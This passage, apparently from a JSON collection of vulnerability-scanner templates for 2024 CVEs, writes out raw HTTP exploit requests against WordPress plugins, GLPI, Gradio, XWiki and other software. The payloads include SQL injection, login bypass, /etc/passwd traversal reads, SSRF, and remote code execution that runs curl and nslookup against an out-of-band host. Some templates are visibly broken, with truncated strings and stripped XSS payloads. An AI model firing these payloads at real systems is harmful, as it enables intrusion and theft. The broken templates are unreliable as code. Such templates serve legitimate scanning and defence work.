name=\"password2\"\n\n\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"phone\"\n\n\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"_useremails[-1]\"\n\n\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"mobile\"\n\n\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"phone2\"\n\n\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"registration_number\"\n\n\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"locations_id\"\n\n0\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"use_mode\"\n\n0\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"_reset_api_token\"\n\n0\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"update\"\n\nSave\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K--\n"],"matchers":[{"type":"dsl","dsl":["status_code == 302"],"condition":"and","internal":true}]},{"raw":["GET /front/preference.php HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"regex","name":"csrf3","part":"body","group":1,"regex":["type=\"hidden\" name=\"_glpi_csrf_token\" value=\"(.*?)\""],"internal":true}]},{"raw":["POST /ajax/pin_savedsearches.php HTTP/1.1\nHost: {{Hostname}}\nX-Glpi-Csrf-Token: {{csrf3}}\nX-Requested-With: XMLHttpRequest\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nitemtype=Monitor\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body,\"\\\"success\\\":true\")"],"condition":"and","internal":true}]},{"raw":["GET /ajax/common.tabs.php?_glpi_tab=User%241&main_class=tab_cadre_fixe&_target=%2Fglpi%2Ffront%2Fpreference.php&_itemtype=Preference&id=0 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body,\"name=\\\"_api_token\\\" value=\\\"{{randstr}}\")"],"condition":"and"}]}]},{"id":"CVE-2024-3742","info":{"name":"Electrolink FM/DAB/TV Transmitter (controlloLogin.js) - Credentials Disclosure","severity":"high"},"requests":[{"raw":["GET /controlloLogin.js HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(content_type, \"application/x-javascript\")","contains(body, \"user==\") && contains(body, \"password==\")","status_code == 200"],"condition":"and"}],"extractors":[{"type":"regex","part":"body","regex":["user\\s*==\\s*'([^']*)'\\s*&&\\s*password\\s*==\\s*'([^']*)'"]}]}]},{"id":"CVE-2024-5217","info":{"name":"ServiceNow - Incomplete Input Validation","severity":"critical"},"requests":[{"raw":["GET /login.do?jvar_page_title= HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["glide.db.user"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-3552","info":{"name":"Web Directory Free < 1.7.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body","words":["/wp-content/plugins/web-directory-free"],"internal":true}]},{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(6),0)+from+(select+1)x)\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","regex('^\\[\\]$', body)"],"condition":"and"}]}]},{"id":"CVE-2024-34351","info":{"name":"Next.js - Server Side Request Forgery (SSRF)","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/_next/image?w=16&q=10&url=http://{{interactsh-url}}","{{BaseURL}}/_next/image?w=16&q=10&url=https://{{interactsh-url}}"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["The requested resource isn't a valid image"]}]}]},{"id":"CVE-2024-7954","info":{"name":"SPIP Porte Plume Plugin - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /index.php?action=porte_plume_previsu HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ndata=AA_[->URL``]_BB\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"word","part":"header","words":["Composed-By: SPIP"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-34470","info":{"name":"HSC Mailinspector 5.2.17-3 through 5.2.18 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/mailinspector/login.php"],"host-redirects":true,"matchers":[{"type":"word","part":"body","words":["Licensed to HSC TREINAMENTO"]}]},{"method":"GET","path":["{{BaseURL}}/mailinspector/public/loader.php?path=../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-6842","info":{"name":"AnythingLLM - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/setup-complete"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains_all(body, \"AuthToken\\\":true\", \"ApiKey\\\":true\")","contains(header, \"application/json\")","status_code == 200"],"condition":"and"},{"type":"word","part":"body","words":["\"AgentGoogleSearchEngineId\":","-\"AgentGoogleSearchEngineKey\":'","\"AgentSerperApiKey\":","\"AgentBingSearchApiKey\":"],"condition":"or"}]}]},{"id":"CVE-2024-31851","info":{"name":"CData Sync < 23.4.8843 - Path Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/login.rst"],"matchers":[{"type":"word","internal":true,"words":["CData - Sync"]}]},{"raw":["GET /ui/..\\src\\getSettings.rsb?@json HTTP/1.1\nHost: {{Hostname}}\nReferer: {{RootURL}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"items\":[{",":\"true\"","notifyemail"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-0337","info":{"name":"Travelpayouts <= 1.1.16 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?travelpayouts_redirect=https://oast.me"],"redirects":true,"max-redirects":2,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.me.*$"]}]}]},{"id":"CVE-2024-43917","info":{"name":"WordPress TI WooCommerce Wishlist Plugin <= 2.8.2 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /?p=1 HTTP/1.1\nHost: {{Hostname}}\n"],"redirects":true,"extractors":[{"type":"regex","part":"body","internal":true,"name":"nonce","group":1,"regex":["\"nonce\":\"([a-z0-9]+)\""]}]},{"raw":["GET /product-category/uncategorized/ HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"regex","part":"body","internal":true,"name":"product_id","group":1,"regex":["data-tinvwl_product_id=\"([0-9]+)\""]}],"matchers":[{"type":"word","part":"body","words":["data-tinvwl_product_id=\""],"internal":true}]},{"raw":["POST /product-category/uncategorized/ HTTP/1.1\nHost: {{Hostname}}\nX-Requested-With: XMLHttpRequest\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryNfcbSwJQX8ALWCMG\n\n------WebKitFormBoundaryNfcbSwJQX8ALWCMG\nContent-Disposition: form-data; name=\"form[tinvwl-hidden-fields]\"\n\n[]\n------WebKitFormBoundaryNfcbSwJQX8ALWCMG\nContent-Disposition: form-data; name=\"tinv_wishlist_id\"\n\n\n------WebKitFormBoundaryNfcbSwJQX8ALWCMG\nContent-Disposition: form-data; name=\"tinv_wishlist_name\"\n\n\n------WebKitFormBoundaryNfcbSwJQX8ALWCMG\nContent-Disposition: form-data; name=\"product_type\"\n\nsimple\n------WebKitFormBoundaryNfcbSwJQX8ALWCMG\nContent-Disposition: form-data; name=\"product_id\"\n\n{{product_id}}\n------WebKitFormBoundaryNfcbSwJQX8ALWCMG\nContent-Disposition: form-data; name=\"product_variation\"\n\n0\n------WebKitFormBoundaryNfcbSwJQX8ALWCMG\nContent-Disposition: form-data; name=\"product_action\"\n\naddto\n------WebKitFormBoundaryNfcbSwJQX8ALWCMG\nContent-Disposition: form-data; name=\"redirect\"\n\n{{RootURL}}/product-category/uncategorized/\n------WebKitFormBoundaryNfcbSwJQX8ALWCMG--\n"],"extractors":[{"type":"json","part":"body","name":"share_key","internal":true,"json":[".wishlist.share_key"]}]},{"raw":["@timeout: 20s\nGET /wp-json/wc/v3/wishlist/{{share_key}}/get_products?order=,(select*from(select(sleep(6)))a)--+- HTTP/1.1\nHost: {{Hostname}}\nX-WP-Nonce: {{nonce}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=6","contains(content_type, 'application/json')","contains(body, 'product_id')"],"condition":"and"}]}]},{"id":"CVE-2024-35584","info":{"name":"openSIS < 9.1 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nUSERNAME={{username}}&PASSWORD={{password}}&language=en&log=\n","@timeout 20s\nGET /Ajax.php?modname=tools/notallowed.php HTTP/1.1\nHost: {{Hostname}}\nX-Forwarded-For: 122.122.122.122' AND SLEEP(7) AND '1'='1\n"],"matchers":[{"type":"dsl","dsl":["duration_2>=7","contains(body_1, \"openSIS\") && contains_all(body_2, \"donetext:\", \"\\'Done\\'\")","status_code_1 == 200 && status_code_2 == 200"],"condition":"and"}]}]},{"id":"CVE-2024-1698","info":{"name":"NotificationX <= 2.8.2 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout 10s\nPOST /wp-json/notificationx/v1/analytics HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"nx_id\": \"1\",\"type\": \"clicks`=1 and 1=sleep(5)-- -\"}\n"],"matchers":[{"type":"dsl","dsl":["duration>=5","status_code == 200","contains(body, \"{\\\"success\\\":true}\")","contains(header, \"application/json\")"],"condition":"and"}]}]},{"id":"CVE-2024-25669","info":{"name":"CaseAware a360inc - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login.php?mid=0&usr=test%27%20draggable=true%20ondrag=alert(document.domain)%20value=%27p"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value='test' draggable=true ondrag=alert(document.domain)","CaseAware"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-28397","info":{"name":"pyload-ng js2py - Remote Code Execution","severity":"medium"},"requests":[{"raw":["POST /flash/addcrypted2 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\npackage=pkg&crypted=MTIzNA%3D%3D&jk=%0A//%20%5B%2B%5D%20command%20goes%20here%3A%0Alet%20cmd%20%3D%20%22curl%20http%3A//{{interactsh-url}}%22%0Alet%20hacked%2C%20bymarve%2C%20n11%0Alet%20getattr%2C%20obj%0A%0Ahacked%20%3D%20Object.getOwnPropertyNames%28%7B%7D%29%0Abymarve%20%3D%20hacked.__getattribute__%0An11%20%3D%20bymarve%28%22__getattribute__%22%29%0Aobj%20%3D%20n11%28%22__class__%22%29.__base__%0Agetattr%20%3D%20obj.__getattribute__%0A%0Afunction%20findpopen%28o%29%20%7B%0A%20%20%20%20let%20result%3B%0A%20%20%20%20for%28let%20i%20in%20o.__subclasses__%28%29%29%20%7B%0A%20%20%20%20%20%20%20%20let%20item%20%3D%20o.__subclasses__%28%29%5Bi%5D%0A%20%20%20%20%20%20%20%20if%28item.__module__%20%3D%3D%20%22subprocess%22%20%26%26%20item.__name__%20%3D%3D%20%22Popen%22%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20item%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20if%28item.__name__%20%21%3D%20%22type%22%20%26%26%20%28result%20%3D%20findpopen%28item%29%29%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20result%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%7D%0A%0An11%20%3D%20findpopen%28obj%29%28cmd%2C%20-1%2C%20null%2C%20-1%2C%20-1%2C%20-1%2C%20null%2C%20null%2C%20true%29.communicate%28%29%0Aconsole.log%28n11%29%0Afunction%20f%28%29%20%7B%0A%20%20%20%20return%20n11%0A%7D%0A%0A"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Could not decrypt key"]},{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2024-38514","info":{"name":"NextChat - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["GET /api/webdav/chatgpt-next-web/backup.json?endpoint=https://webdav.yandex.com.{{interactsh-url}}/ HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["__NEXT_DATA__"]}]}]},{"id":"CVE-2024-30188","info":{"name":"Apache DolphinScheduler >= 3.1.0, < 3.2.2 Resource File Read And Write","severity":"high"},"requests":[{"raw":["POST /dolphinscheduler/login HTTP/1.1\nHost: {{Hostname}}\nConnection: keep-alive\nContent-Type: application/x-www-form-urlencoded\n\nuserName={{username}}&userPassword={{password}}&ssoLoginUrl="],"extractors":[{"type":"json","name":"sessionId","part":"body","json":[".data.sessionId"],"internal":true}]},{"raw":["GET /dolphinscheduler/resources/download?fullName=file:///etc/passwd HTTP/1.1\nHost: {{Hostname}}\nsessionId: {{sessionId}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"regex","part":"content_type","regex":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-6928","info":{"name":"Opti Marketing <= 2.0.9 - SQL Injection","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body, \"/wp-content/plugins/opti-marketing\")"],"condition":"and","internal":true}]},{"raw":["@timeout 20s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=save_article&postId=(select*from(select(sleep(6)))a)\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-6188","info":{"name":"TrakSYS 11.x.x - Sensitive Data Exposure","severity":"medium"},"requests":[{"raw":["GET /TS/export/pagedefinition?ID=1 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["TrakSYS Version","Name","Altname"],"condition":"and"},{"type":"word","part":"content_type","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-2879","info":{"name":"WordPress Plugin LayerSlider 7.9.11-7.10.0 - SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/LayerSlider/assets/static/public/front.css"],"matchers":[{"type":"word","internal":true,"words":[".ls-clearfix:before"]}]},{"raw":["@timeout: 10s\nGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))x)--+x) HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\""]},{"type":"word","part":"content_type","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-4348","info":{"name":"osCommerce v4.0 - Cross-site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/furniture/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%2528'document_domain'%2529%253c%252fScRiPt%253eiyehb=1","{{BaseURL}}/watch/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%2528'document_domain'%2529%253c%252fScRiPt%253eiyehb=1"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Listing of all products on the site"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-5315","info":{"name":"Dolibarr ERP CMS `list.php` - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /htdocs/index.php?mainmenu=home HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nloginfunction=loginfunction&username={{username}}&password={{password}}\n","GET /htdocs/commande/list.php?viewstatut=x%27 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["You have an error in your SQL syntax"]},{"type":"word","part":"header_1","words":["Set-Cookie: DOLSESSID_"]},{"type":"word","part":"body_1","words":["SuperAdmin"]}]}]},{"id":"CVE-2024-36527","info":{"name":"Puppeteer Renderer - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/html?url=file:///etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-33610","info":{"name":"Sharp Multifunction Printers - Cookie Exposure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/sessionlist.html"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["No.","User","From","Last login","Last access","Language ID","Cookie"],"condition":"and"},{"type":"word","part":"header","words":["Set-Cookie: MFPSESSIONID="]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-28987","info":{"name":"SolarWinds Web Help Desk - Hardcoded Credential","severity":"critical"},"requests":[{"raw":["GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic {{base64(username+':'+password)}}\nContent-Type: application/x-www-form-urlencoded\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["displayClient","shortDetail"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-33605","info":{"name":"Sharp Multifunction Printers - Directory Listing","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/installed_emanual_list.html"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["ServiceEmanualList","/installed_emanual_down.html"],"condition":"and"},{"type":"word","part":"header","words":["Set-Cookie: MFPSESSIONID="]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-31621","info":{"name":"Flowise 1.6.5 - Authentication Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/API/V1/credentials"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"credentialName\":","\"updatedDate\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-7354","info":{"name":"Ninja Forms 3.8.6-3.8.10 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body","words":["/wp-content/plugins/ninja-forms"],"internal":true}]},{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=nf-submissions&\">=2 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["\">"]},{"type":"word","part":"content_type_2","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-27718","info":{"name":"Smart s200 Management Platform v.S200 - SQL Injection","severity":"high"},"requests":[{"raw":["GET /importexport.php?sql={{base64(cmd)}}&type=exportexcelbysql HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-1561","info":{"name":"Gradio 4.3-4.12 - Local File Read","severity":"high"},"requests":[{"raw":["POST /component_server HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"component_id\": \"1\", \"data\": \"{{path}}\", \"fn_name\": \"move_resource_to_block_cache\", \"session_hash\": \"aaaaaaaaaaa\"}\n","GET /file={{download_path}} HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"regex","part":"body","name":"download_path","internal":true,"group":1,"regex":["\"?([^\"]+)"]}],"payloads":{"path":["c:\\\\windows\\\\win.ini","/etc/passwd"]},"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:","\\[(font|extension|file)s\\]"],"condition":"or"},{"type":"word","part":"content_type","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-23692","info":{"name":"Rejetto HTTP File Server - Template injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?n=%0A&cmd=nslookup+{{interactsh-url}}&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["rejetto"]}]}]},{"id":"CVE-2024-8883","info":{"name":"Keycloak - Open Redirect","severity":"medium"},"requests":[{"raw":["GET /realms/master/protocol/openid-connect/auth?client_id={{client_id}}&redirect_uri={{redir_host}}:80@{{redirect_uri}} HTTP/1.1\nHost: {{Hostname}}\n"],"payloads":{"redir_host":["http://localhost","http://127.0.0.1","https://localhost","https://127.0.0.1","http://[::]","https://[::]"],"client_id":["security-admin-console","master-realm","broker","admin-cli","account","account-console"]},"attack":"clusterbomb","stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"header","regex":["Location:\\s+https?://(localhost|127.0.0.1|\\[::\\]):\\d*@oast\\.me\\?"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2024-21650","info":{"name":"XWiki < 4.10.20 - Remote code execution","severity":"critical"},"requests":[{"raw":["GET {{path}}/bin/register/XWiki/XWikiRegister?xredirect=%2Fbin%2Fregister%2FXWiki%2FXWikiRegister%3Fxredirect%3D%252Fbin%252Fregister%252FXWiki%252FXWikiRegister%253Fxredirect%253D%25252Fxwiki%25252Fbin%25252Fview%25252FScheduler%25252F%25253Fdo%25253Dtrigger%252526which%25253DScheduler.NotificationEmailDailySender HTTP/1.1\nHost: {{Hostname}}\n","POST {{path}}/bin/register/XWiki/XWikiRegister?xredirect=%2Fbin%2Fregister%2FXWiki%2FXWikiRegister%3Fxredirect%3D%252Fxwiki%252Fbin%252Fview%252FScheduler%252F%253Fdo%253Dtrigger%2526which%253DScheduler.NotificationEmailDailySender HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nparent=xwiki%3AMain.UserDirectory®ister_first_name={{firstname}}®ister_last_name={{lastname}}&xwikiname={{user}}®ister_password={{pass}}®ister2_password={{pass}}®ister_email=\"{{randstr}}%40{{rand_base(5)}}.com&xredirect=%2Fbin%2Fregister%2FXWiki%2FXWikiRegister%3Fxredirect%3D%252Fxwiki%252Fbin%252Fview%252FScheduler%252F%253Fdo%253Dtrigger%2526which%253DScheduler.NotificationEmailDailySender&form_token={{token}}\n"],"payloads":{"path":[null,"/xwiki"]},"stop-at-first-match":true,"host-redirects":true,"max-redirects":2,"skip-variables-check":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["Registration successful","Attack succeeded","Failed to execute the [groovy]"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","part":"body","name":"token","group":1,"regex":["data\\-xwiki\\-form\\-token=\"([a-zA-Z0-9]+)\">"],"internal":true}]}]},{"id":"CVE-2024-29272","info":{"name":"VvvebJs < 1.7.5 - Arbitrary File Upload","severity":"medium"},"requests":[{"raw":["POST /save.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nfile=demo/landing/index.php&html={{md5(num)}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"File saved\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["GET /demo/landing/index.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"{{md5(num)}}\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-6396","info":{"name":"Aimhubio Aim Server 3.19.3 - Arbitrary File Overwrite","severity":"critical"},"requests":[{"raw":["POST /tracking/client_1/get-resource HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n\"resource_handler\": \"my_resource\",\n\"resource_type\": \"Repo\",\n\"args\": \"AAAAAAABAAAABw==\"\n}\n","POST /tracking/client_1/read-instruction HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n\"resource_handler\": \"my_resource\",\n\"method_name\": \"_backup_run\",\n\"args\": \"{{base64(args)}}\"\n}\n","@Host: http://{{Host}}:43800\nGET /static-files/{{filename}}.txt HTTP/1.1\nHost: {{Host}}:43800\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["{\"handler\":\"my_resource\"}"]},{"type":"word","part":"body_3","words":["{{filename}}.txt"]},{"type":"word","part":"header_3","words":["text/plain"]}]}]},{"id":"CVE-2024-3753","info":{"name":"Hostel < 1.1.5.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body","words":["/wp-content/plugins/hostel"],"internal":true}]},{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=wphostel_bookings&do=edit&id=&type=upcoming&offset=\">"]},{"type":"word","part":"content_type_2","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-45622","info":{"name":"ASIS - SQL Injection Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /asispanel/ HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"ASIS | Aplikasi Sistem Sekolah \")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["POST /asispanel/login/cek HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=%27+or+0%3D0+%23%23&password={{pass}}&submit=&submit=\n"],"matchers":[{"type":"dsl","dsl":["status_code == 303"],"condition":"and","internal":true}]},{"raw":["GET /asispanel/home HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body, \"Logout\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-1512","info":{"name":"MasterStudy LMS WordPress Plugin <= 3.2.5 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout 10s\nGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%286%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","contains_all(body,\"items\",\"total\",\"total_price\")","contains(content_type,\"application/json\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-9617","info":{"name":"Danswer - Insecure Direct Object Reference","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/chat/get-chat-session/1?is_shared=True"],"matchers":[{"type":"dsl","dsl":["contains_all(body, \"chat_session_id\", \"description\", \"persona_id\")","contains(content_type, \"application/json\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-4940","info":{"name":"Gradio - Open Redirect","severity":"medium"},"requests":[{"raw":["GET /file=http://oast.pro/ HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.pro.*$"],"part":"header"},{"type":"status","status":[302]}]}]},{"id":"CVE-2024-4295","info":{"name":"Email Subscribers by Icegram Express <= 5.7.20 - Unauthenticated SQL Injection via Hash","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nGET /?es=optin&hash={{ base64(rawhash) }} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=5","contains(body, \"You have been successfully subscribed\")"],"condition":"and"}]}]},{"id":"CVE-2024-27954","info":{"name":"WordPress Automatic Plugin <3.92.1 - Arbitrary File Download and SSRF","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?p=3232&wp_automatic=download&link=file:///etc/passwd"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"link\":\"file:"]},{"type":"regex","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2024-34061","info":{"name":"Changedetection.io <=v0.45.21 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /settings HTTP/1.1\nHost: {{Hostname}}\nContent-Type: 